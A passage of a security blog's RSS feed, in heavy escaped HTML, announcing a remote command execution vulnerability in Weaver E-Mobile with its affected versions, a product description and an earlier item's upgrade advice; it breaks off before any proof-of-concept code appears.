initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;06&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;修复建议&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: left;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;color: #000000;font-weight: normal;&quot;&gt;升级到安全版本&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section powered-by=&quot;xiumi.us&quot; style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;pointer-events: initial;&quot; data-pm-slice=&quot;7 6 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;margin-bottom: 0px; font-size: 16px; background-color: rgb(255, 255, 255); visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;powered-by&amp;quot;:&amp;quot;xiumi.us&amp;quot;,&amp;quot;style&amp;quot;:&amp;quot;visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot;&gt;&lt;section style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;07&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;往期回顾&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section class=&quot;mp_profile_iframe_wrp&quot; nodeleaf=&quot;&quot;&gt;&lt;mp-common-profile class=&quot;js_uneditable custom_select_card mp_profile_iframe&quot; data-pluginname=&quot;mpprofile&quot; data-nickname=&quot;北风漏洞复现文库&quot; data-from=&quot;0&quot; data-headimg=&quot;http://mmbiz.qpic.cn/sz_mmbiz_png/dV0OibMDwBhLiaaoGI8LfuPiaA8ibUUtcv9nSuJJc1Pps7Ys43DOtfxA1zLlMExIyoJkyiaibxJBibUbupXrVXYyOn4vA/0?wx_fmt=png&quot; data-signature=&quot;聚焦最新漏洞动态，深度解析SRC、CVE、CNVD漏洞详情。提供漏洞复现教程、工具利用指南及整改方案。为渗透测试与网络安全从业者提供实战交流平台，助力提升安全技能。&quot; data-id=&quot;Mzk2NDkwMDg3Nw==&quot; data-is_biz_ban=&quot;0&quot; data-service_type=&quot;1&quot; data-verify_status=&quot;0&quot;&gt;&lt;/mp-common-profile&gt;&lt;/section&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;p style=&quot;display: none;&quot;&gt;&lt;mp-style-type data-value=&quot;3&quot;&gt;&lt;/mp-style-type&gt;&lt;/p&gt;</description><pubDate>Thu, 12 Feb 2026 22:29:42 +0800</pubDate></item><item><title>泛微E-Mobile 远程命令执行漏洞（RCE）附POC</title><link>https://www.7x0.cn/post/26.html</link><description>&lt;h1 data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot;&gt;免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;visibility: visible;&quot;&gt;信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;visibility: visible;&quot;&gt;关。该文章仅供学习用途使用。&lt;/span&gt;&lt;span leaf=&quot;&quot; data-pm-slice=&quot;1 1 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;h1&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;data-pm-slice&amp;quot;:&amp;quot;0 0 []&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot; style=&quot;visibility: visible;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/h1&gt;&lt;h1 data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot; data-pm-slice=&quot;1 1 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;h1&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;data-pm-slice&amp;quot;:&amp;quot;0 0 []&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot; style=&quot;visibility: visible;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/h1&gt;&lt;h1 data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot; data-pm-slice=&quot;1 1 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;h1&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;data-pm-slice&amp;quot;:&amp;quot;0 0 []&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot; style=&quot;visibility: visible;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/h1&gt;&lt;p style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; data-pm-slice=&quot;1 1 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;p&amp;quot;,&amp;quot;attributes&amp;quot;:{},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;01&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot; data-pm-slice=&quot;1 1 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;p&amp;quot;,&amp;quot;attributes&amp;quot;:{},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;powered-by&amp;quot;:&amp;quot;xiumi.us&amp;quot;,&amp;quot;style&amp;quot;:&amp;quot;visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;color: rgb(62, 62, 62); padding-right: 10px; padding-left: 10px; line-height: 1.6; visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;p&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;margin-bottom: 0px; color: rgb(62, 62, 62); font-size: 16px; background-color: rgb(255, 255, 255); padding-right: 20px; padding-left: 20px; line-height: 0.8; text-align: center; visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;漏洞名称&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section powered-by=&quot;xiumi.us&quot; style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;h1 style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: left;visibility: visible;pointer-events: initial;&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;visibility: visible;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;泛微E-Mobile 远程命令执行漏洞&lt;/span&gt;&lt;/h1&gt;&lt;/section&gt;&lt;section style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;h1 style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: left;visibility: visible;pointer-events: initial;&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;visibility: visible;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/h1&gt;&lt;p style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span style=&quot;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;02&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;background-color: #FFFFFF;line-height: 0.8;text-align: center;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;影响版本&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: left;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;泛微E-Mobile移动管理平台多个版本，部分漏洞影响版本为2024.3前&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: left;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;版本，部分涉及E-Mobile 6.0等版本。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/02/20260212200531177089793141602.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;1099&quot; type=&quot;block&quot; data-imgfileid=&quot;100000677&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/section&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: left;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;03&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;漏洞简介&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: left;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span data-v-c3629e60=&quot;&quot; answer=&quot;&quot; seq=&quot;1&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;泛微e-Mobile移动管理平台是上海泛微网络科技股份有限公司推出的一款移动办公平台&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;，旨在帮助企业构建以员工为核心的移动&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;统一办公平台。它将企业ERP、CRM、OA&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;等各类系统应用融合在一个平台，覆盖组织管理、业务、财务等各方面，通过统一组织、统一消息、统一应用、统一搜索、统一报表等功能，实现信息聚合与高效协&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;同。&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;攻击者可利用漏洞绕过身份验证，执行任意系统命令，获取服务器控制权，可能导致数据泄露、系统被控、植入后门等严重后果。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: left;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span data-v-c3629e60=&quot;&quot; answer=&quot;&quot; seq=&quot;1&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;04&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;资产测绘&lt;/span&gt;&lt;/section&gt;&lt;/section&gt;&lt;section class=&quot;code-snippet__fix code-snippet__js&quot;&gt;&lt;ul class=&quot;code-snippet__line-index code-snippet__js list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;pre class=&quot;code-snippet__js&quot; 